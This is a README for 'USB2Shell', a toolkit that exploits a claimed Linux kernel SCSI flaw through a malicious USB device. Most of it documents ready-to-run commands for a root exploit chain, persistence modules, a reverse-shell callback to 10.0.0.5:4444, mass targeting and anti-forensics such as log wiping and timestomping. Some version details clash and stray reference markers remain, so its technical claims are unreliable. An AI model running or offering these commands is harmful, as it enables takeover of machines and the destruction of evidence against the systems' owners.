CVE-2026-98232 (USB2Shell) is a Linux kernel SCSI vulnerability in scsi_cdl_enable() that can cause out-of-bounds stack reads and writes.
The flaw results from insufficient validation of length fields in SCSI MODE SENSE responses when processing ATA Command Duration Limits (CDL) mode pages within a 64-byte stack buffer.
A malicious USB storage device advertising ATA and CDL support may trigger the vulnerability during automatic device enumeration, without requiring user interaction or filesystem mounting.
-
Malformed MODE SENSE Response: A malicious USB device returns a
MODE SENSE(10)payload whose total length is shorter than its mode header and block descriptors, causing unsigned underflow in the subsequentMODE SELECTlength calculation. -
Out-of-Bounds Stack Access:
scsi_cdl_enable()calculatesbuf_databeyond the 64-byte stack buffer and may copy up to 64 bytes from that region into the outgoingMODE SELECTpayload, disclosing kernel stack contents to the device [reference:6]. -
KASLR Defeat: The leaked data contains potential kernel pointers.
core/leak.pyidentifies canonical addresses (0xffffffff8...) and page-aligns them to estimate the kernel base address. -
Memory Corruption & Privilege Escalation: A subsequent crafted response triggers a one-byte out-of-bounds stack write [reference:8]. Combined with the leaked kernel base and offsets, this may compromise kernel control flow and credential integrity, potentially enabling root-level privilege escalation.
Impact: Kernel memory disclosure, memory corruption, and potential privilege escalation through physical USB device access.
| Attribute | Value |
|---|---|
| Public Disclosure | 30 November 2026 (Drivesec) [reference:9] |
| CVE Assigned | October 2026 [reference:10] |
| Upstream Fix | September 2026 [reference:11] |
| CVSS Score | 8.4 (HIGH) [reference:12] |
| Codename | USB2Shell |
| Introduced In | Linux 6.5 (CDL feature) [reference:13][reference:14] |
| Fixed Versions | 6.1.190+, 6.6.158+, 6.12.112+, 6.18.54+, 7.2.8+ (per stable branches) [reference:15][reference:16] |
| Authentication | Physical USB port access only |
| Impact | Kernel memory disclosure → root code execution → persistence |
This toolkit ships both a full-featured framework (exploit.py) and a minimal, low-noise script (checker.py). The full framework performs persistence (--persist) and anti-forensics (--stealth-mods) when requested. For OPSEC-sensitive engagements, prefer checker.py or run exploit.py --safecheck for read-only auditing.
| Feature | exploit.py (Full Framework) |
checker.py (Minimal) |
|---|---|---|
| Modes | safecheck / detect / exploit / persist / mass | exploit + auto-cleanup |
Kernel version check (safecheck.py) |
Yes | Yes |
| USB storage driver detection | Yes | Yes |
authorized_default audit |
Yes | Yes |
KASLR leak via gadget (--detect) |
Yes | Yes |
Full ROP chain (--exploit) |
Yes | Yes (forced) |
| Retry logic | --retry |
fixed 10 |
| Persistence modules | systemd, ssh_key, cron, suid, dns_tunnel | [-] No |
| Anti-forensics modules | log_wipe, artifact_cleanup, dmesg_scrub, history_clean, timestomp | log_wipe, artifact_cleanup, dmesg_scrub |
Mass scanning (--mass) |
ThreadPoolExecutor |
[-] No |
JSON output (-o) |
Yes | [-] No |
| Log file | usb2shell.log (rotating) |
[-] No |
| Verbose / quiet | -v / -q |
[-] Quiet only |
| Banner | Full color | Full color |
| Custom gadget binary | --gadget-bin |
--gadget-bin |
| UDC override | --udc |
--udc |
| Offsets JSON | --offsets |
--offsets |
| Root required | Yes (/dev/raw-gadget) |
Yes |
| Python version | 3.9+ | 3.9+ |
| Primary use case | Full engagement: exploit + persist + clean | One-shot root + clean |
| Parameter | Description | Example |
|---|---|---|
--safecheck |
Detect only (default if no mode) | --safecheck |
--detect |
Detect + KASLR leak estimate | --detect |
--exploit |
Run full exploit chain | --exploit |
--persist |
Install persistence modules | --persist |
--mass |
Mass mode against targets file | --mass |
-t, --target |
Target host or port map (mass) | -t targets.txt |
--kernel |
Kernel ID override | --kernel 6.12.0 |
--offsets |
Path to offsets JSON | --offsets offsets/_schema.json |
--gadget-bin |
Path to gadget binary (default: ./source/gadget/usb2shell_gadget) |
--gadget-bin ./usb2shell_gadget |
--udc |
UDC name (default: dummy_udc.0) |
--udc dummy_udc.0 |
--retry |
Retry count (default: 10) | --retry 20 |
--persist-mods |
Comma list (default: systemd,ssh_key) |
--persist-mods systemd,cron,suid |
--lhost |
Reverse shell IP (persistence) | --lhost 10.0.0.5 |
--lport |
Reverse shell port | --lport 4444 |
--stealth-mods |
Comma list (default: log_wipe,artifact_cleanup,dmesg_scrub,history_clean) |
--stealth-mods log_wipe,dmesg_scrub |
-o, --output |
Output JSON file | -o results.json |
-v, --verbose |
Verbose output | -v |
-q, --quiet |
Quiet mode | -q |
-h, --help |
Show help | -h |
| Parameter | Description | Example |
|---|---|---|
--offsets |
Path to offsets JSON (required for exploit) | --offsets offsets/6.12.0.json |
--gadget-bin |
Path to gadget binary | --gadget-bin ./usb2shell_gadget |
--udc |
UDC name (default: dummy_udc.0) |
--udc dummy_udc.0 |
--retry |
Retry count | --retry 10 |
-h, --help |
Show help | -h |
Notes:
checker.pyforces exploitation after a positive safecheck.- On success it runs
log_wipe,artifact_cleanup, anddmesg_scrubautomatically.
# Read-only audit: kernel version, vulnerable status, usb-storage presence, authorized_default
python3 exploit.py --safecheck
# Detect + estimate KASLR base via the gadget info leak. No code execution.
python3 exploit.py --detect --offsets offsets/6.12.0.json --gadget-bin ./gadget/usb2shell_gadget
# Full exploit chain with retry. Prints leaked base and root uid on success.
python3 exploit.py --exploit --offsets offsets/6.12.0.json --retry 20
# Exploit + systemd & cron persistence calling back to 10.0.0.5:4444
python3 exploit.py --exploit --persist --persist-mods systemd,cron --lhost 10.0.0.5 --lport 4444
# Full framework with anti-forensics and JSON report
python3 exploit.py --exploit --persist --stealth-mods log_wipe,artifact_cleanup,dmesg_scrub,history_clean -o run.json
# Mass detection against a targets file
python3 exploit.py --mass -t targets.txt -o mass.json# Safecheck + exploit + auto anti-forensics, no persistence, no JSON
python3 checker.py --offsets offsets/6.12.0.json --gadget-bin ./gadget/usb2shell_gadgetThe flaw exists in scsi_cdl_enable(), where unvalidated length fields from SCSI MODE SENSE responses are used to locate the ATA feature mode page inside a 64-byte stack buffer. Malformed lengths can cause integer underflow and out-of-bounds stack access.
- USB Gadget:
gadget/usb2shell_gadget.cemulates a USB mass-storage device using/dev/raw-gadget. - Memory Disclosure: Improper bounds validation can expose kernel stack data.
- Memory Corruption: Out-of-bounds stack writes can compromise kernel integrity.
The repository includes research modules covering:
- Privilege Escalation: Kernel credential security.
- Persistence: systemd, SSH keys, cron, SUID, and DNS tunneling.
- Artifact Handling: Log management, history cleanup, kernel buffer handling, and timestamp modification.
Relevant directories: persistence/ and stealth/.
- Set
authorized_default=0on USB controllers. - Enforce USBGuard policies.
- Restrict unauthorized USB storage devices.
- Monitor unexpected
usb-storageanduasdriver binding events. - Upgrade to patched kernel versions:
| Kernel Branch | Fixed Version |
|---|---|
| 6.1 | 6.1.190+ |
| 6.6 | 6.6.158+ |
| 6.12 | 6.12.112+ |
| 6.18 | 6.18.54+ |
| 7.2 | 7.2.8+ |
- Drivesec S.r.l.: usb2shell
- The CyberGuru usb2shell
- The Hacker News
- Usb2shell tc4dy CVE-2026-98232-PoC-Exploit
- Securonix - How it works and its patch
This software is provided for educational purposes and authorized security testing only.